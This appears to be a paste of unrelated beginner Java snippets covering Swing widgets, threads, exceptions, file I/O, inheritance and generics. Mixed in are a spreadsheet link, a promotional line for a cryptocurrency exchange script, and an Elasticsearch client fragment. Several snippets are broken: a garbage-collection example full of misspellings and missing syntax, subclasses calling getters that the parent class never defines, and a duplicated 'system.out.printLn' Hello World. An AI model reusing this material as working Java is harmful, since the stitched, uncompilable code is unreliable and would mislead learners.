		cb1.addActionListener(this); cb2.addActionListener(this); cb3.addActionListener(this);
		frame.add(cb1); frame.add(cb2); frame.add(cb3);

		label = new JLabel("I show the selected Date");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   String message = "";
	    message += (Integer)cb1.getSelectedItem()+", ";
		message += (String)cb2.getSelectedItem()+", ";
		message += (Integer)cb3.getSelectedItem();
		label.setText(message);
	}

	public static void main(String[] args)
	{   new ComboBoxDemo2();
	}
}
ComboBoxDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class ComboBoxDemo implements ActionListener
{
    private JFrame frame;
	private JComboBox cb;
	private JLabel label;

	public ComboBoxDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		cb = new JComboBox();
		cb.addItem("Banana"); cb.addItem("Apple"); cb.addItem("Orange");
		cb.addItem("Grape");  cb.addItem("Mango"); cb.addItem("Pineapple");

		cb.addActionListener(this);
		frame.add(cb);

		label = new JLabel("I show the selected item");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   label.setText((String)cb.getSelectedItem());
	}

	public static void main(String[] args)
	{   new ComboBoxDemo();
	}
}
RadioButtonDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class RadioButtonDemo implements ActionListener
{
    private JFrame frame;
	private JRadioButton c1, c2, c3, c4;
	private JLabel label;

	public RadioButtonDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		c1 = new JRadioButton("Pizza");
		c1.addActionListener(this);
		c1.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c1);

		c2 = new JRadioButton("Burger");
		c2.addActionListener(this);
		c2.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c2);

		c3 = new JRadioButton("Rolls");
		c3.addActionListener(this);
		c3.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c3);

		c4 = new JRadioButton("Beverage");
		c4.addActionListener(this);
		c4.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c4);

		ButtonGroup bg = new ButtonGroup();
		bg.add(c1); bg.add(c2); bg.add(c3); bg.add(c4);

		label = new JLabel("I show the selected items");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   label.setText(ae.getActionCommand());
	}

	public static void main(String[] args)
	{   new RadioButtonDemo();
	}
}
CheckBoxDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class CheckBoxDemo implements ItemListener
{
private JFrame frame;
	private JCheckBox c1, c2, c3, c4;
	private JLabel label;
	private String message =" ";

	public CheckBoxDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		c1 = new JCheckBox("Pizza");
		c1.addItemListener(this);
		c1.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c1);

		c2 = new JCheckBox("Burger");
		c2.addItemListener(this);
		c2.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c2);

		c3 = new JCheckBox("Rolls");
		c3.addItemListener(this);
		c3.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c3);

		c4 = new JCheckBox("Beverage");
		c4.addItemListener(this);
		c4.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c4);

		label = new JLabel("I show the selected items");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);


		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void itemStateChanged(ItemEvent ie)
	{
		if(c1.isSelected())
			message += c1.getText() +" ";
		if(c2.isSelected())
			message += c2.getText() +" ";
		if(c3.isSelected())
			message += c3.getText() +" ";
		if(c4.isSelected())
			message += c4.getText() +" ";
		label.setText(message);

		message = " ";
	}

	public static void main(String[] args)
	{
		new CheckBoxDemo();
	}
}
ButtonDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class ButtonDemo  
{   private JFrame frame;
    private JLabel label;
	private JButton b1, b2;

	public ButtonDemo()
	{
		frame = new JFrame("A Simple Swing App");

		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		label = new JLabel("I show the button text");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(label);

		b1 = new JButton("The First Button");
		b1.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(b1);
		b1.addActionListener(new ActionListener(){
			public void actionPerformed(ActionEvent ae)
			{   label.setText(b1.getText()+" is pressed!"); 	}
		});

		b2 = new JButton("The Second Button");
		b2.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(b2);
		b2.addActionListener(new ActionListener(){
			public void actionPerformed(ActionEvent ae)
			{   label.setText(b2.getText()+" is pressed!"); 	}
		});

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public static void main(String[] args)
	{   new ButtonDemo();
	}
}
LabelDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class LabelDemo
{   private JFrame frame;
    private JLabel label;

	public LabelDemo()
	{
		frame = new JFrame("A Simple Swing App");

		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		ImageIcon ic = new ImageIcon("Animated_butterfly.gif");

		label = new JLabel("A Butterfly", ic, JLabel.CENTER);
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setBackground(Color.yellow);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public static void main(String[] args)
	{   new LabelDemo();
	}
}
import java.util.LinkedList;

class SharedResource {
    private LinkedList buffer = new LinkedList<>();
    private int capacity = 2;

    public void produce() throws InterruptedException {
        synchronized (this) {
            while (buffer.size() == capacity) {
                wait();
            }

            int item = (int) (Math.random() * 100);
            System.out.println("Produced: " + item);
            buffer.add(item);

            notify();
        }
    }

    public void consume() throws InterruptedException {
        synchronized (this) {
            while (buffer.isEmpty()) {
                wait();
            }

            int item = buffer.removeFirst();
            System.out.println("Consumed: " + item);

            notify();
        }
    }
}

class Producer extends Thread {
    private SharedResource sharedResource;

    public Producer(SharedResource sharedResource) {
        this.sharedResource = sharedResource;
    }

    @Override
    public void run() {
        try {
            while (true) {
                sharedResource.produce();
                Thread.sleep(1000);
            }
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

class Consumer extends Thread {
    private SharedResource sharedResource;

    public Consumer(SharedResource sharedResource) {
        this.sharedResource = sharedResource;
    }

    @Override
    public void run() {
        try {
            while (true) {
                sharedResource.consume();
                Thread.sleep(1000);
            }
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

public class ProducerConsumerExample {
    public static void main(String[] args) {
        SharedResource sharedResource = new SharedResource();

        Producer producer = new Producer(sharedResource);
        Consumer consumer = new Consumer(sharedResource);

        producer.start();
        consumer.start();
    }
}
class MyThread extends Thread {
    public void run() {
        System.out.println("run method");
        System.out.println("run method priority: " + Thread.currentThread().getPriority());
        Thread.currentThread().setPriority(4);
        System.out.println("run method priority after setting: " + Thread.currentThread().getPriority());
    }

    public static void main(String[] args) {
        System.out.println("main method");
        System.out.println("main method priority before setting: " + Thread.currentThread().getPriority());

        Thread.currentThread().setPriority(9);

        System.out.println("main method priority after setting: " + Thread.currentThread().getPriority());
    }
}
class MyThread implements Runnable {

    public void run() {
        System.out.println("Hello");
        System.out.println("DS");
    }

    public static void main(String[] args) {
        MyThread obj = new MyThread();
        Thread t = new Thread(obj);
        t.start();
    }
}
public class AssertionExample {
    public static void main(String[] args) {
        int age = 26;

        // simple assertion to check if age is greater than or equal to 18
        assert age >= 18 : "Age must be 18 or older";

        // Rest of the program
        System.out.println("Program continues after the assertion check");

        // More code...
    }
}
public class SeasonExample {
    public enum Season {
        WINTER, SPRING, SUMMER, FALL;
    }

    public static void main(String[] args) {
        int x = 26;

        for (Season s : Season.values()) {
            System.out.println(s);
        }

        assert x == 26 : "Assertion failed"; // Assert that x is 26

        System.out.println(x);
    }
}
import java.util.StringTokenizer;
import java.io.StringReader;
import java.io.StringWriter;

public class StringExample {
    public static void main(String[] args) {
        try {
            StringTokenizer st = new StringTokenizer("My name is Raj");

            while (st.hasMoreTokens()) {
                System.out.println(st.nextToken());
            }

            String s = "Hello World";

            StringReader reader = new StringReader(s);
            int k = 0;

            while ((k = reader.read()) != -1) {
                System.out.print((char) k + ", ");
            }

            System.out.println("\nIn Data is the StringWriter: " + s);

            StringWriter output = new StringWriter();
            output.write(s);

            System.out.println("In Data is the StringWriter: " + output.toString());

            output.close();
        } catch (Exception e) {
            System.out.println("Exception: " + e.getMessage());
        }
    }
}
import java.io.*;

class Test {
    public static void main(String args[]) {
        String path = "sample.txt";
        try {
            BufferedReader br = new BufferedReader(new FileReader(path));
            int charCount = 0;
            int lineCount = 0;
            int wordCount = 0;
            String line;

            while ((line = br.readLine()) != null) {
                charCount += line.length();
                lineCount++;
                String[] words = line.split("\\s+");
                wordCount += words.length;
            }

            br.close();

            System.out.println("Number of characters: " + charCount);
            System.out.println("Number of words: " + wordCount);
            System.out.println("Number of lines: " + lineCount);
        } catch (IOException e) {
            System.out.println(e);
        }
    }
}
import java.io.*;

public class FileCopyExample {

    public static void main(String[] args) {
        try {
            FileReader fr1 = new FileReader("source.txt");
            FileWriter fw2 = new FileWriter("destination.txt");

            int i;
            while ((i = fr1.read()) != -1) {
                fw2.write((char) i);
            }

            System.out.println("File copied");

            fr1.close();
            fw2.close();
        } catch (IOException e) {
            System.out.println("Error: " + e.getMessage());
        }
    }
}
import java.io.*;

public class FileExample {
    static FileInputStream fis;

    public static void main(String[] args) {
        try {
            fis = new FileInputStream("example.txt");

            int data;
            while ((data = fis.read()) != -1) {
                System.out.print((char) data);
            }

            fis.close();
        } catch (IOException io) {
            System.out.println("Caught IOException: " + io.getMessage());
        }
    }
}
// Custom exception class
class NegativeNumberException extends Exception {
    public NegativeNumberException(String message) {
        super(message);
    }
}

// Class using the custom exception
public class CustomExceptionExample {
    public static void main(String[] args) {
        try {
            int result = calculateSquare(5);
            System.out.println("Square: " + result);

            result = calculateSquare(-3); // This will throw NegativeNumberException
            System.out.println("Square: " + result); // This line won't be executed
        } catch (NegativeNumberException e) {
            System.out.println("Error: " + e.getMessage());
        }
    }

    // Method that may throw the custom exception
    private static int calculateSquare(int number) throws NegativeNumberException {
        if (number < 0) {
            // Throw the custom exception if the number is negative
            throw new NegativeNumberException("Negative numbers are not allowed.");
        }
        return number * number;
    }
}
public class ExceptionExample {
    public static void main(String[] args) {
        int n = 26;
        try {
            int m = n / 0;
        } catch (ArithmeticException e) {
            System.out.println("Exception caught: " + e);
        } finally {
            System.out.println("Any number cannot be divided by zero");
        }
    }
}
public class StringBufferStringBuilderExample{
public static void main(String args[]){
StringBuffer stringBuffer=new StringBuffer("hello");
stringBuffer.append(" ").append("world");
System.out.println("StringBuffer result:" + stringBuffer);
StringBuilder stringBuilder=new StringBuilder();
stringBuilder.append("is").append("awesome");
System.out.println("StringBuilder result:" + stringBuilder);
}
}
public class StringExample {
    public static void main(String[] args) {
        String s = "Hello World!";
        System.out.println("Original string: " + s);
        System.out.println("Length: " + s.length());
        System.out.println("Uppercase: " + s.toUpperCase());
        System.out.println("Lowercase: " + s.toLowerCase());
        System.out.println("Substring from index 7: " + s.substring(7));
        System.out.println("Replace 'o' with 'x': " + s.replace('o', 'x'));
        System.out.println("Contains 'world': " + s.contains("world"));
        System.out.println("Starts with 'Hello': " + s.startsWith("Hello"));
        System.out.println("Index of 'o': " + s.indexOf('o'));
        System.out.println("Last index of 'o': " + s.lastIndexOf('o'));
        System.out.println("Ends with 'ld!': " + s.endsWith("ld!"));
        System.out.println("Character at index 4: " + s.charAt(4));
        System.out.println("Trimmed: " + s.trim());
    }
}
// Interface
interface Printable {
    void print();
}

// Class implementing the interface
class Printer implements Printable {
    @Override
    public void print() {
        System.out.println("Printing...");
    }
}

public class InterfaceExample {
    public static void main(String[] args) {
        // Creating an instance of the class implementing the interface
        Printable printer = new Printer();

        // Using the interface method
        printer.print();
    }
}
// Abstract class: Person
abstract class Person {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public abstract void displayDetails();

    public void greet() {
        System.out.println("Hello, I am " + name + ".");
    }
}

// Subclass: Student
class Student extends Person {
    private int studentId;

    public Student(String name, int age, int studentId) {
        super(name, age);
        this.studentId = studentId;
    }

    @Override
    public void displayDetails() {
        System.out.println("Student - Name: " + super.getName() + ", Age: " + super.getAge() +
                ", Student ID: " + studentId);
    }

    public void study() {
        System.out.println("Student is studying.");
    }
}

// Subclass: Faculty
class Faculty extends Person {
    private String department;

    public Faculty(String name, int age, String department) {
        super(name, age);
        this.department = department;
    }

    @Override
    public void displayDetails() {
        System.out.println("Faculty - Name: " + super.getName() + ", Age: " + super.getAge() +
                ", Department: " + department);
    }

    public void teach() {
        System.out.println("Faculty is teaching.");
    }
}

public class PersonExample {
    public static void main(String[] args) {
        Student student = new Student("John", 20, 123);
        Faculty faculty = new Faculty("Dr. Smith", 35, "Computer Science");

        student.displayDetails();
        student.greet();
        student.study();

        System.out.println();

        faculty.displayDetails();
        faculty.greet();
        faculty.teach();
    }
}
// Account class (Base class)
class Account {
 private int accountNumber;
 private double balance;
 public Account(int accountNumber) {
 this.accountNumber = accountNumber;
 this.balance = 0.0;
 }
 public int getAccountNumber() {
 return accountNumber;
 }
 public double getBalance() {
 return balance;
 }
 public void deposit(double amount) {
 balance += amount;
 System.out.println("Deposited: $" + amount);
 }
 public void withdraw(double amount) {
 if (amount <= balance) {
 balance -= amount;
 System.out.println("Withdrawn: $" + amount);
 } else {
 System.out.println("Insufficient balance");
 }
 }
}
// Subclasses of Account
class SavingsAccount extends Account {
 // Additional features specific to savings account
 public SavingsAccount(int accountNumber) {
 super(accountNumber);
 }
}
class CheckingAccount extends Account {
 // Additional features specific to checking account
 public CheckingAccount(int accountNumber) {
 super(accountNumber);
 }
}
// Customer class
class Customer {
 private String name;
 private Account account;
 public Customer(String name, Account account) {
 this.name = name;
 this.account = account;
 }
 public void deposit(double amount) {
 account.deposit(amount);
 }
 public void withdraw(double amount) {
 account.withdraw(amount);
 }
 public double checkBalance() {
 return account.getBalance();
 }
}
// Employee class
class Employee {
 private String name;
 public Employee(String name) {
 this.name = name;
 }
 public void processTransaction(Customer customer, double amount,
String type) {
 if (type.equalsIgnoreCase("Deposit")) {
 customer.deposit(amount);
 } else if (type.equalsIgnoreCase("Withdraw")) {
 customer.withdraw(amount);
 } else {
 System.out.println("Invalid transaction type");
 }
 }
}
// Main class for testing
public class BankingApplication {
 public static void main(String[] args) {
 // Create accounts for customers
 SavingsAccount savingsAccount = new SavingsAccount(1001);
 CheckingAccount checkingAccount = new CheckingAccount(2001);
 // Create customers and link accounts
 Customer customer1 = new Customer("Alice", savingsAccount);
 Customer customer2 = new Customer("Bob", checkingAccount);
 // Create bank employees
 Employee employee1 = new Employee("Eve");
 // Employee processing transactions for customers
 employee1.processTransaction(customer1, 1000, "Deposit");
 employee1.processTransaction(customer2, 500, "Withdraw");
 // Checking customer balances after transactions
 System.out.println("Customer 1 Balance: $" +
customer1.checkBalance());
 System.out.println("Customer 2 Balance: $" +
customer2.checkBalance());
 }
}
class Employee {
    private String name;
    private double baseSalary;

    public Employee(String name, double baseSalary) {
        this.name = name;
        this.baseSalary = baseSalary;
    }

    public String getName() {
        return name;
    }

    // Base implementation of computeSalary method
    public double computeSalary() {
        return baseSalary;
    }
}
class Manager extends Employee {
    private double bonus;

    public Manager(String name, double baseSalary, double bonus) {
        super(name, baseSalary);
        this.bonus = bonus;
    }

    // Override computeSalary method to include bonus
    @Override
    public double computeSalary() {
        // Calling the base class method using super
        double baseSalary = super.computeSalary();
        return baseSalary + bonus;
    }
}
public class PolymorphicInvocationExample {
    public static void main(String[] args) {
        // Polymorphic invocation using base class reference
        Employee emp1 = new Employee("John Doe", 50000.0);
        System.out.println("Employee Salary: $" + emp1.computeSalary());

        // Polymorphic invocation using subclass reference
        Employee emp2 = new Manager("Jane Smith", 60000.0, 10000.0);
        System.out.println("Manager Salary: $" + emp2.computeSalary());
    }
}
// Employee class (base class)
class Employee {
    private String name;
    private int employeeId;

    public Employee(String name, int employeeId) {
        this.name = name;
        this.employeeId = employeeId;
    }

    public String getName() {
        return name;
    }

    public int getEmployeeId() {
        return employeeId;
    }

    public void displayDetails() {
        System.out.println("Employee ID: " + employeeId);
        System.out.println("Name: " + name);
    }
}

// Faculty class (inherits from Employee)
class Faculty extends Employee {
    private String department;
    private String designation;

    public Faculty(String name, int employeeId, String department, String designation) {
        super(name, employeeId);
        this.department = department;
        this.designation = designation;
    }

    public String getDepartment() {
        return department;
    }

    public String getDesignation() {
        return designation;
    }

    @Override
    public void displayDetails() {
        super.displayDetails();
        System.out.println("Department: " + department);
        System.out.println("Designation: " + designation);
    }
}

// Staff class (inherits from Employee)
class Staff extends Employee {
    private String role;

    public Staff(String name, int employeeId, String role) {
        super(name, employeeId);
        this.role = role;
    }

    public String getRole() {
        return role;
    }

    @Override
    public void displayDetails() {
        super.displayDetails();
        System.out.println("Role: " + role);
    }
}

// UniversityProgram class (main program)
public class UniversityProgram {
    public static void main(String[] args) {
        // Creating instances of Faculty and Staff
        Faculty facultyMember = new Faculty("John Doe", 101, "Computer Science", "Professor");
        Staff staffMember = new Staff("Jane Smith", 201, "Administrative Assistant");

        // Displaying details of Faculty and Staff
        System.out.println("Faculty Details:");
        facultyMember.displayDetails();
        System.out.println();

        System.out.println("Staff Details:");
        staffMember.displayDetails();
    }
}
public classgc
{
public static void main(String args[])
{
System.gc();
System.out.println("garbage collection is required using system.gc()");
runtime.getruntime().gc();
System.out.println("garbage collection is required using system.gc()");
Sytsem.out.println("free menory:"+runtime.getruntime() freememory()+"bytes");
System.out.println("total memory:"+runtime.getruntime().totalmemory()+"bytes");
System.out.println("available processors"+runtime.getruntime()available processors());
runtime.getruntime().exit(0);
System.out.println("this linewill not be executed");
}
}
package com.example.custom;
import java.util.ArrayList; // Import ArrayList from java.util package
class CustomClass {
void display() {
System.out.println("Custom class in the custom package.");
}
}
public class Main {
public static void main(String args[]) {
ArrayList list = new ArrayList<>(); // Fix the typo in ArrayList declaration
list.add("hello");
list.add("world");
System.out.println("ArrayList from java.util package: " + list);
CustomClass customObj = new CustomClass();
customObj.display();
AccessModifiersDemo demo = new AccessModifiersDemo();
demo.publicMethod();
demo.defaultMethod();
}
}
class AccessModifiersDemo {
public void publicMethod() {
System.out.println("Public method can be accessed from anywhere.");
}
void defaultMethod() {
System.out.println("Default method can be accessed within the same package.");
}
}
public class ArrayOperations {
    public static void main(String[] args) {
        // Initializing an array
        int[] numbers = { 5, 12, 8, 3, 15 };

        // Accessing elements
        System.out.println("Element at index 2: " + numbers[2]);

        // Finding the length of the array
        System.out.println("Length of the array: " + numbers.length);

        // Modifying an element
        numbers[1] = 20;

        // Printing the array
        System.out.print("Modified array: ");
        for (int i = 0; i < numbers.length; i++) {
            System.out.print(numbers[i] + " ");
        }
        System.out.println();

        // Finding the maximum element
        int maxElement = numbers[0];
        for (int i = 1; i < numbers.length; i++) {
            if (numbers[i] > maxElement) {
                maxElement = numbers[i];
            }
        }
        System.out.println("Maximum element: " + maxElement);

        // Finding the minimum element
        int minElement = numbers[0];
        for (int i = 1; i < numbers.length; i++) {
            if (numbers[i] < minElement) {
                minElement = numbers[i];
            }
        }
        System.out.println("Minimum element: " + minElement);

        // Iterating through the array to calculate the sum
        int sum = 0;
        for (int num : numbers) {
            sum += num;
        }
        System.out.println("Sum of elements: " + sum);
    }
}
public class ArraySumAverage {
    public static void main(String[] args) {
        // Predefined array of integers
        int[] array = { 10, 20, 30, 40, 50 };

        // Calculate sum and average
        int sum = 0;
        for (int i = 0; i < array.length; i++) {
            sum += array[i];
        }
        double average = (double) sum / array.length;

        // Output: Sum and Average
        System.out.println("Sum of the elements: " + sum);
        System.out.println("Average of the elements: " + average);
    }
}
class Explicit
{
    public static void main(String[] args)
    {
        long l=99;
        int i=(int)l;
        System.out.println("long value ="+l);
        System.out.println("int value ="+i);
    }
}
##Constructor overloading##

class T
{
    T()
    {
        System.out.println("0-args");
    }
    T(int i)
    {
        System.out.println("1-args");
    }
    T(int i,int j)
    {
        System.out.println("2-args");
    }
    public static void main(String[] args)
    {
        System.out.println("constructor overloading");
        T t1=new T();
        T t2=new T(10);
        T t3=new T(20,30);
    }
}





##Method overloading##

class MO {
    static int add(int a, int b) {
        return a + b;
    }

    static int add(int a, int b, int c) {
        return a + b + c;
    }

    public static void main(String[] args) {
        System.out.println(add(11, 11));
    }
}
class Comdargs{
public static void main(String[] args){
System.out.println(args[0]+" "+args[1]);
System.out.println(args[0]+args[1]);
}
}


###IN THE COMMAND PROMPT AFTER JAVA COMDARGS GIVE YOUR COMMAND LINE ARRGUMENTS###
import java.util.Scanner;

public class GradeCheckerSwitch {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("Enter the student's score: ");
        int score = scanner.nextInt();

        char grade = getGradeSwitch(score);

        System.out.println("Grade: " + grade);
    }

    public static char getGradeSwitch(int score) {
        int range = score / 10;

        switch (range) {
            case 10:
            case 9:
                return 'A';
            case 8:
                return 'B';
            case 7:
                return 'C';
            case 6:
                return 'D';
            default:
                return 'F';
        }
    }
}



USING IF -ELSE

import java.util.Scanner;

public class GradeCheckerIfElse {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("Enter the student's score: ");
        int score = scanner.nextInt();

        char grade = getGradeIfElse(score);

        System.out.println("Grade: " + grade);
    }

    public static char getGradeIfElse(int score) {
        if (score >= 90 && score <= 100) {
            return 'A';
        } else if (score >= 80 && score < 90) {
            return 'B';
        } else if (score >= 70 && score < 80) {
            return 'C';
        } else if (score >= 60 && score < 70) {
            return 'D';
        } else if (score >= 0 && score < 60) {
            return 'F';
        } else {
            // Handle invalid score (outside the range 0-100)
            System.out.println("Invalid score. Please enter a score between 0 and 100.");
            return '\0'; // '\0' is used to represent an undefined character
        }
    }
}
public class OperatorDemo {
    public static void main(String[] args) {
        // Comparison operators
        int a = 5, b = 10;

        System.out.println("Comparison Operators:");
        System.out.println("a == b: " + (a == b));
        System.out.println("a != b: " + (a != b));
        System.out.println("a < b: " + (a < b));
        System.out.println("a > b: " + (a > b));
        System.out.println("a <= b: " + (a <= b));
        System.out.println("a >= b: " + (a >= b));

        // Arithmetic operators
        int x = 15, y = 4;

        System.out.println("\nArithmetic Operators:");
        System.out.println("x + y: " + (x + y));
        System.out.println("x - y: " + (x - y));
        System.out.println("x * y: " + (x * y));
        System.out.println("x / y: " + (x / y));
        System.out.println("x % y: " + (x % y));

        // Bitwise operators
        int num1 = 5, num2 = 3;

        System.out.println("\nBitwise Operators:");
        System.out.println("num1 & num2: " + (num1 & num2)); // Bitwise AND
        System.out.println("num1 | num2: " + (num1 | num2)); // Bitwise OR
        System.out.println("num1 ^ num2: " + (num1 ^ num2)); // Bitwise XOR
        System.out.println("~num1: " + (~num1));             // Bitwise NOT
        System.out.println("num1 << 1: " + (num1 << 1));     // Left shift
        System.out.println("num1 >> 1: " + (num1 >> 1));     // Right shift
    }
}
          class Demo{
               public static void main(String[] args){
                    system.out.printLn("Hello World");
               }
          }
     
          class Demo{
               public static void main(String[] args){
                    system.out.printLn("Hello World");
               }
          }
     
https://docs.google.com/spreadsheets/d/1sA8p5Qr5c_wzZ7_PMM7bxn2otFEsIkf8xO6FlbbsZms/edit?gid=1395393155#gid=1395393155
The Alphacodez Cryptocurrency Exchange Script is a robust solution for launching secure and efficient trading platforms, featuring user management, a high-performance trading engine, and wallet integration. It offers advanced security measures and customization options. Ongoing support and maintenance ensure smooth operation.
  @Bean(destroyMethod = "close")
  public RestHighLevelClient init() {
    HttpHost[] httpHost;
    httpHost = new HttpHost[model.getHosts().size()];
    HttpHost[] finalHttpHost = httpHost;
    final int[] i = {0};
    model.getHosts().forEach(hostPort -> {
      finalHttpHost[i[0]] = new HttpHost(String.valueOf(hostPort.getHost()), hostPort.getPort(), "http");
      i[0] = i[0] + 1;
    });

    RestClientBuilder builder = RestClient.builder(finalHttpHost);

    if (model.getUsername() != null && model.getPassword() != null) {
      final CredentialsProvider credentialsProvider = new BasicCredentialsProvider();
      credentialsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(model.getUsername(), model.getPassword()));
      builder.setHttpClientConfigCallback(httpClientBuilder -> httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider));
    }

    // Cấu hình timeout
    builder.setRequestConfigCallback(requestConfigBuilder -> requestConfigBuilder
            .setSocketTimeout(model.getSocketTimeout())
            .setConnectTimeout(model.getConnectTimeout()));

    return new RestHighLevelClient(builder);
  }
public class ListToArrayExample{  
public static void main(String args[]){  
 List<String> fruitList = new ArrayList<>();    
 fruitList.add("Mango");    
 fruitList.add("Banana");    
 fruitList.add("Apple");    
 fruitList.add("Strawberry");    
 //Converting ArrayList to Array  
 String[] array = fruitList.toArray(new String[fruitList.size()]);    
 System.out.println("Printing Array: "+Arrays.toString(array));  
 System.out.println("Printing List: "+fruitList);  
}  
}  
import java.util.*;  
public class ArrayToListExample{  
public static void main(String args[]){  
//Creating Array  
String[] array={"Java","Python","PHP","C++"};  
System.out.println("Printing Array: "+Arrays.toString(array));  
//Converting Array to List  
List<String> list=new ArrayList<String>();  
for(String lang:array){  
list.add(lang);  
}  
System.out.println("Printing List: "+list);  
  
}  
}  
JedisCluster only supports SCAN commands with MATCH patterns containing hash-tags ( curly-brackets enclosed strings )
import classes.*;

public class Main {
    public static void main(String[] args) {
        Mygeneric mygen = new Mygeneric<String>("Dodi");
        generate(mygen);

        Mygeneric<Object> gen = new Mygeneric<Object>("Jamal");
        process(gen);
        
    }

    public static void doodle(Mygeneric<String> mygen) {
        System.out.println(mygen.getData());
    }

    /*
     * Saya akan menerima parameter apapun hasil instance dari 
     * kelas Mygeneric yang tipe genericnya adalah turunan dari Object
     */
    public static void generate(Mygeneric<? extends Object> data) {
        System.out.println(data.getData());

    }

    /*
     * Saya akan menerima parameter apapun hasil instance dari
     * kelas Mygeneric yang bertipe data String ATAU super class dari
     * String
     */
    public static void process(Mygeneric<? super String> data) {
        String value = (String) data.getData();
        System.out.println(value);
        data.setData("Umar");
        System.out.println(value);
    }
}
public class GenericApp {

    public static void main(String[] args) {
        
        MyGeneric<String> single = new MyGeneric<>("Ichwan");
        generate(single);

    }

    public static void generate(MyGeneric<? extends Object> data){
        System.out.println(data.getData());
    }
}
ArrayList<Number> numbers = new ArrayList<Number>();
// Ini akan menghasilkan kesalahan kompilasi
ArrayList<Integer> integers = numbers;
public class GFG {
 
    public static void main(String[] args)
    {
 
        Integer[] a = { 100, 22, 58, 41, 6, 50 };
 
        Character[] c = { 'v', 'g', 'a', 'c', 'x', 'd', 't' };
 
        String[] s = { "Virat", "Rohit", "Abhinay", "Chandu","Sam", "Bharat", "Kalam" };
 
        System.out.print("Sorted Integer array :  ");
        sort_generics(a);
 
        System.out.print("Sorted Character array :  ");
        sort_generics(c);
 
        System.out.print("Sorted String array :  ");
        sort_generics(s);
       
    }
 
    public static <T extends Comparable<T> > void sort_generics(T[] a)
    {
       
         //As we are comparing the Non-primitive data types 
          //we need to use Comparable class
       
        //Bubble Sort logic
        for (int i = 0; i < a.length - 1; i++) {
 
            for (int j = 0; j < a.length - i - 1; j++) {
 
                if (a[j].compareTo(a[j + 1]) > 0) {
 
                    swap(j, j + 1, a);
                }
            }
        }
 
        // Printing the elements after sorted
 
        for (T i : a) 
        {
            System.out.print(i + ", ");
        }
        System.out.println();
       
    }
 
    public static <T> void swap(int i, int j, T[] a)
    {
        T t = a[i];
        a[i] = a[j];
        a[j] = t;
    }
   
}
class Test<T> {
    // An object of type T is declared
    T obj;
    Test(T obj) { this.obj = obj; } // constructor
    public T getObject() { return this.obj; }
}
 
// Driver class to test above
class Main {
    public static void main(String[] args)
    {
        // instance of Integer type
        Test<Integer> iObj = new Test<Integer>(15);
        System.out.println(iObj.getObject());
 
        // instance of String type
        Test<String> sObj
            = new Test<String>("GeeksForGeeks");
        System.out.println(sObj.getObject());
    }
}
import java.util.*;

import java.util.stream.*;

public class CollectingDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(5);

        al.add(7);

